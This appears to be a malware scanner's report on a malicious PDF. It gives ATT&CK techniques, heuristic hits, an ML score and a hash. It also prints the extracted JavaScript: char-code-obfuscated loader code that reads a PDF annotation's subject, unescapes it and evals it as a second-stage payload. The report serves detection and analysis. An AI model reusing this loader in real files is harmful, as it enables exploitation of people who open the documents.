MALICIOUS
116
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The PDF file contains embedded JavaScript that utilizes String.fromCharCode for obfuscation. This script is designed to decode and execute a second-stage payload, as indicated by the PDF_JS_EXPLOIT_CLUSTER heuristic. The ML classifier also strongly suggests maliciousness. The exact nature of the second-stage payload cannot be determined from the provided evidence.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
for (var i=0; i < list.length; i++) { result += String.fromCharCode(list[i] - jump); } -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0005_000.js |
pdf-javascript-stream | PDF /JS object 5 at offset 0x107 | 916 bytes |
SHA-256: f048286b2dfe205330e162117bc9e2e9406092389e25aa91660890d79cb205b6 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,46,114,101,112,108,97,99,101,40,47,122,47,103,44,32,39,37,39,41,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,108,41,32,59,101,118,97,108,40,115,41,59,32,115,32,61,32,39,39,59,32,122,32,61,32,49,59";
function decrypt(str, jump){
var result = "";
var list = str.split(',');
for (var i=0; i < list.length; i++) {
result += String.fromCharCode(list[i] - jump);
}
return result;
}
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.